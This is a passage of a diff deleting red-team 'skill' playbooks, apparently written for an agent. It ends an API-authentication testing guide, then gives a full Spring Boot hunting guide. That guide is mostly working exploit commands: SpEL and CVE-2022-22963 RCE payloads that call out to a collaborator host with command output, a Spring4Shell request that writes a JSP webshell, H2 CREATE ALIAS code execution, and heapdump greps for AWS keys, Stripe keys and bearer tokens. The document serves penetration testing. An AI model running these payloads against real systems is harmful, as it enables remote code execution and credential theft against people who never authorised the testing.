- - Check the response headers: `Access-Control-Allow-Origin: *` compounds the issue (any web origin reads it from a victim's browser).
91
- - **STOP at minimum-necessary proof.** A handful of records (or a `totalCount`) confirms the missing check. Do NOT enumerate the table — see `redteam-mindset` data-minimization boundary. The finding is the absent auth, not the data volume.
92
-
93
- ---
94
-
95
- ## What "the API behind the SSO login" really means
96
-
97
- A common, dangerous architecture:
98
- - `console.target.com` (the SPA) → login is **Entra/Okta/Google OAuth** (looks airtight).
99
- - `api.target.com` (the backend) → some route groups enforce the bearer token, **some route groups forgot the middleware.**
100
-
101
- The frontend login is theatre if the API doesn't independently validate the token on every route. Always test the API directly, bare, regardless of how locked-down the login UI is.
102
-
103
- ---
104
-
105
- ## Anti-patterns
106
-
107
- - **"The app requires login, so the API must be protected."** No — test the API directly, unauthenticated. The whole point.
108
- - **"Minified bundle, can't read it."** You don't need to read it — grep it for hosts/routes/secrets. 5 minutes.
109
- - **"`/api/v1/foo` returned 404, so no API here."** Wrong base or wrong method. Try `/api/`, `/api/v2/`, POST not GET, and the exact route strings from the bundle (Express's 404 echoes the path — use it to calibrate).
110
- - **"AIza key found → critical secret."** Validate first — most are Maps/analytics keys (`CONFIGURATION_NOT_FOUND` on identitytoolkit = not Auth-enabled). Don't over-claim.
111
- - **Dumping the whole dataset once you get a 200.** Stop at PoC. (`redteam-mindset`.)
112
- - **Account-creation / write endpoints as "proof".** Read endpoints prove the auth gap without creating state. Never POST a `create`/`signup`/`upload` to "demonstrate" — that's a destructive write needing explicit per-action authorization.
113
-
114
- ---
115
-
116
- ## Related Skills & Chains
117
-
118
- - **`hunt-api-misconfig`** — once the API is mapped, run the broader misconfig matrix (method tampering, mass assignment, JWT alg confusion) per route.
119
- - **`hunt-idor`** — the `account_id`/`order_id` pivots feed straight into IDOR testing across discovered routes.
120
- - **`hunt-source-leak`** — sourcemaps (`*.js.map`) reconstruct original source for deeper route/secret extraction; same harvesting muscle.
121
- - **`hunt-nextjs`** — for Next.js targets, layer the middleware-bypass (`x-middleware-subrequest`) and `/_next/data` route tests on top of this.
122
- - **`redteam-mindset`** — the data-minimization boundary governs step 5: prove the missing check, don't exfiltrate the table.
123
- - **`recon-scope-triage`** — verify the API host actually belongs to the target before testing (don't pop a same-named third party's API).
@@ -1,241 +0,0 @@
1
- ---
2
- name: hunt-springboot
3
- description: Hunt Spring Boot specific vulnerabilities — Actuator endpoints (heapdump, env, loggers, mappings, shutdown), Spring Expression Language (SpEL) injection → RCE, H2 console RCE, Jolokia JMX exposure, Spring4Shell (CVE-2022-22965), Spring Cloud Function SPEL (CVE-2022-22963), heap dump credential extraction. Use when target runs Spring Boot — detected via X-Application-Context header, /actuator, Whitelabel Error Page, or Java stack traces.
4
- sources: hackerone_public, cve_database, spring_security_advisories
5
- report_count: 16
6
- ---
7
-
8
- # HUNT-SPRINGBOOT — Spring Boot Specific Vulnerabilities
9
-
10
- ## Crown Jewel Targets
11
-
12
- Spring Boot Actuator `/actuator/heapdump` exposed = heap dump with all secrets in memory.
13
-
14
- **Highest-value findings:**
15
- - **`/actuator/heapdump`** — full JVM heap dump contains plaintext passwords, tokens, DB credentials, private keys stored anywhere in memory
16
- - **`/actuator/env`** — lists all environment variables and Spring properties including secrets
17
- - **`/actuator/shutdown`** — POST → shuts down the application (Critical availability impact)
18
- - **H2 Console (`/h2-console`)** — in-memory DB admin UI → SQL query execution → potential RCE via `CREATE ALIAS` trick
19
- - **SpEL injection** — Spring Expression Language in template fields, `@Value` annotations, SpEL-processed request params → RCE
20
- - **Spring4Shell CVE-2022-22965** — Spring Framework < 5.3.18 + Tomcat → RCE via data binding
21
-
22
- ---
23
-
24
- ## Phase 1 — Fingerprint Spring Boot
25
-
26
- ```bash
27
- # Spring Boot indicators
28
- curl -sI https://$TARGET/ | grep -i "x-application-context\|x-content-type"
29
- curl -s "https://$TARGET/nonexistent" | grep -i "Whitelabel Error Page\|Spring Boot\|org.springframework"
30
-
31
- # Actuator root (may list available endpoints)
32
- curl -s "https://$TARGET/actuator" | python3 -m json.tool 2>/dev/null
33
- curl -s "https://$TARGET/actuator/" | python3 -m json.tool 2>/dev/null
34
-
35
- # Try common base paths
36
- for base in "" "/manage" "/management" "/app"; do
37
- STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$base/actuator")
38
- [ "$STATUS" = "200" ] && echo "[+] Actuator at: $TARGET$base/actuator"
39
- done
40
- ```
41
-
42
- ---
43
-
44
- ## Phase 2 — Actuator Endpoint Enumeration
45
-
46
- ```bash
47
- BASE="https://$TARGET/actuator"
48
-
49
- # High-impact endpoints
50
- ENDPOINTS=("env" "heapdump" "threaddump" "mappings" "beans" "metrics"
51
- "loggers" "info" "health" "configprops" "shutdown" "trace"
52
- "httptrace" "auditevents" "sessions" "scheduledtasks" "caches"
53
- "flyway" "liquibase" "refresh" "restart")
54
-
55
- for EP in "${ENDPOINTS[@]}"; do
56
- # Don't trust HTTP 200 alone — Spring returns 200 with a Whitelabel/login
57
- # page for many paths. Require actuator-shaped JSON (or a heapdump body)
58
- # before calling it EXPOSED.
59
- BODY=$(curl -s -H "Accept: application/json" "$BASE/$EP")
60
- CT=$(curl -s -o /dev/null -w "%{content_type}" -H "Accept: application/json" "$BASE/$EP")
61
- if echo "$CT" | grep -qi "json" && ! echo "$BODY" | grep -qi "Whitelabel Error Page\|<html"; then
62
- echo "[+] EXPOSED: $BASE/$EP"
63
- fi
64
- done
65
-
66
- # Get environment variables (passwords, API keys)
67
- curl -s "$BASE/env" | python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key\|token\|credential" | head -20
68
-
69
- # Get all endpoint mappings (full API surface)
70
- curl -s "$BASE/mappings" | python3 -m json.tool 2>/dev/null | grep -oP '"pattern":"\K[^"]+' | sort
71
-
72
- # Get Spring beans (lists all registered beans, reveals internal architecture)
73
- curl -s "$BASE/beans" | python3 -m json.tool 2>/dev/null | head -100
74
- ```
75
-
76
- ---
77
-
78
- ## Phase 3 — Heap Dump Analysis
79
-
80
- ```bash
81
- # Download heap dump (can be large — 100MB+)
82
- curl -s "$BASE/heapdump" -o /tmp/heapdump.hprof
83
- ls -lh /tmp/heapdump.hprof
84
-
85
- # Quick grep for secrets in heap dump (binary file — use strings)
86
- strings /tmp/heapdump.hprof | grep -iE "(password|secret|apikey|api_key|token|bearer|private_key)" | \
87
- grep -v "^[a-z_]" | sort -u | head -50
88
-
89
- # More targeted extraction
90
- strings /tmp/heapdump.hprof | grep -oP "(?:password|passwd|pwd)\s*[=:]\s*\S+" | sort -u | head -20
91
- strings /tmp/heapdump.hprof | grep -oP "AKIA[A-Z0-9]{16}" | sort -u # AWS keys
92
- strings /tmp/heapdump.hprof | grep -oP "sk_live_[A-Za-z0-9]+" | sort -u # Stripe keys
93
- strings /tmp/heapdump.hprof | grep -oP "Bearer [A-Za-z0-9._-]+" | sort -u # Bearer tokens
94
-
95
- # Use Eclipse Memory Analyzer (MAT) for deep analysis
96
- # https://www.eclipse.org/mat/
97
- ```
98
-
99
- ---
100
-
101
- ## Phase 4 — H2 Console RCE
102
-
103
- ```bash
104
- # H2 console detection
105
- curl -s "https://$TARGET/h2-console" | grep -i "H2 Console\|H2 Database"
106
- curl -s "https://$TARGET/h2" | grep -i "H2 Console"
107
- curl -s "https://$TARGET/console" | grep -i "H2"
108
-
109
- # Default credentials: sa / (empty password)
110
- # JDBC URL: jdbc:h2:mem:testdb
111
-
112
- # If accessible, RCE via CREATE ALIAS:
113
- # SQL to execute:
114
- # CREATE ALIAS EXEC AS $$ String exec(String cmd) throws Exception {
115
- # Runtime rt = Runtime.getRuntime();
116
- # String[] commands = {"sh","-c",cmd};
117
- # Process proc = rt.exec(commands);
118
- # return new String(proc.getInputStream().readAllBytes());
119
- # } $$;
120
- # CALL EXEC('id');
121
- ```
122
-
123
- ---
124
-
125
- ## Phase 5 — SpEL Injection
126
-
127
- ```bash
128
- # Spring Expression Language injection in user-controlled fields
129
- # Test: ${7*7} or #{7*7} → if the response reflects 49, SpEL is being evaluated
130
-
131
- # Common injection points:
132
- # - Email template fields: "Hello ${name}"
133
- # - Custom annotation @Value("${user.input}")
134
- # - Spring Security expressions
135
- # - Spring WebFlow
136
-
137
- # Basic SpEL test
138
- curl -s -X POST "https://$TARGET/api/user/name" \
139
- -H "Content-Type: application/json" \
140
- -d '{"name": "#{7*7}"}'
141
- # If returns 49 → SpEL injection confirmed
142
-
143
- # RCE payload — note: exec() returns a Process, not a String, so a bare
144
- # exec("id") produces NO visible output. Confirm via an OOB curl callback
145
- # (the spawned curl makes the network request even though nothing is reflected):
146
- curl -s -X POST "https://$TARGET/api/user/name" \
147
- -H "Content-Type: application/json" \
148
- -d '{"name": "#{T(java.lang.Runtime).getRuntime().exec(new String[]{\"sh\",\"-c\",\"curl COLLAB_HOST/spel-$(id|base64)\"})}"}'
149
-
150
- # CVE-2022-22963 — Spring Cloud Function SpEL
151
- curl -s -X POST "https://$TARGET/functionRouter" \
152
- -H "spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(\"curl COLLAB_HOST/spel-rce\")" \
153
- -d "test"
154
- ```
155
-
156
- ---
157
-
158
- ## Phase 5b — Spring Cloud Gateway Actuator SpEL RCE (CVE-2022-22947)
159
- If the `gateway` actuator is exposed, add a route whose filter body is SpEL, then refresh to evaluate it (escape inner quotes for your shell):
160
- ```bash
161
- curl -s -X POST "$BASE/actuator/gateway/routes/hax" -H "Content-Type: application/json" \
162
- -d '{"id":"hax","filters":[{"name":"AddResponseHeader","args":{"name":"X","value":"#{T(java.lang.Runtime).getRuntime().exec(new String[]{ \"id\" })}"}}],"uri":"http://x"}'
163
- curl -s -X POST "$BASE/actuator/gateway/refresh"; curl -s "$BASE/actuator/gateway/routes"
164
- ```
165
-
166
- ## Phase 5c — Writable `/env` -> `/refresh` gadget RCE
167
- When `/actuator/env` accepts POST and `/actuator/refresh` exists, poison a property then reload:
168
- ```bash
169
- # logback JNDI:
170
- curl -s -X POST "$BASE/actuator/env" -H "Content-Type: application/json" -d '{"name":"logging.config","value":"http://$COLLAB/logback.xml"}'
171
- # Eureka XStream deserialization:
172
- curl -s -X POST "$BASE/actuator/env" -H "Content-Type: application/json" -d '{"name":"eureka.client.serviceUrl.defaultZone","value":"http://$COLLAB/x"}'
173
- curl -s -X POST "$BASE/actuator/refresh"
174
- ```
175
- (Veracode: Exploiting Spring Boot Actuators.)
176
-
177
- ## Phase 6 — Spring4Shell (CVE-2022-22965)
178
-
179
- ```bash
180
- # Affects: Spring Framework < 5.3.18 and < 5.2.20 (and all older branches);
181
- # fixed in 5.3.18 / 5.2.20. Requires JDK 9+ and WAR-on-Tomcat deployment.
182
- # Requires: Java 9+, Tomcat as WAR deployment
183
-
184
- # Detection: does the app accept class.* parameters?
185
- curl -s "https://$TARGET/api/user" \
186
- -d "class.module.classLoader.URLs[0]=jar:http://COLLAB_HOST/test.jar!/"
187
- # Check COLLAB for HTTP callback
188
-
189
- # Exploitation: write webshell via class loader
190
- curl -s "https://$TARGET/login" \
191
- --data-raw "username=test&password=test&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di+if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B+java.io.InputStream+in+%3D+Runtime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B+int+a+%3D+-1%3B+byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B+while((a%3Din.read(b))!%3D-1)%7B+out.println(new+String(b))%3B+%7D+%7D+%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2FROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
192
- ```
193
-
194
- ---
195
-
196
- ## Phase 7 — Jolokia JMX Exposure
197
-
198
- ```bash
199
- # Jolokia provides HTTP access to JMX MBeans
200
- curl -s "https://$TARGET/jolokia" | python3 -m json.tool 2>/dev/null | head -20
201
- curl -s "https://$TARGET/actuator/jolokia" | python3 -m json.tool 2>/dev/null | head -20
202
-
203
- # List all MBeans
204
- curl -s "https://$TARGET/jolokia/list" | python3 -m json.tool 2>/dev/null | grep -i "type\|operation" | head -30
205
-
206
- # Read system properties via Jolokia (may expose credentials)
207
- curl -s "https://$TARGET/jolokia/read/java.lang:type=Runtime/SystemProperties" | \
208
- python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key"
209
-
210
- # Exec MBean operations (potential RCE via MLet)
211
- curl -s "https://$TARGET/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/tmp/evil"
212
- ```
213
-
214
- ---
215
-
216
- ## Chain Table
217
-
218
- | Spring Boot finding | Chain to | Impact |
219
- |--------------------|----------|--------|
220
- | `/actuator/heapdump` | Extract DB passwords, API keys from memory | Critical credential exfil |
221
- | `/actuator/env` | Read all env vars including secrets | High |
222
- | H2 console accessible | CREATE ALIAS → RCE | Critical |
223
- | SpEL injection | `T(Runtime).exec()` → OS command | Critical RCE |
224
- | Spring4Shell | Write webshell → RCE | Critical |
225
- | Jolokia + MLet | Remote code via MBean | Critical RCE |
226
-
227
- ---
228
-
229
- ## Validation
230
-
231
- ✅ Heap dump: strings command extracts readable passwords/tokens from .hprof file
232
- ✅ Actuator/env: secrets visible in JSON response
233
- ✅ SpEL: arithmetic expression evaluates (7*7=49) or OOB callback received
234
- ✅ H2 console: SQL executed, `id` output returned
235
-
236
- **Severity:**
237
- - Heapdump with credentials: Critical
238
- - SpEL RCE: Critical
239
- - H2 console RCE: Critical
240
- - Actuator env (passwords exposed): High
241
- - Mappings disclosure only: Low-Medium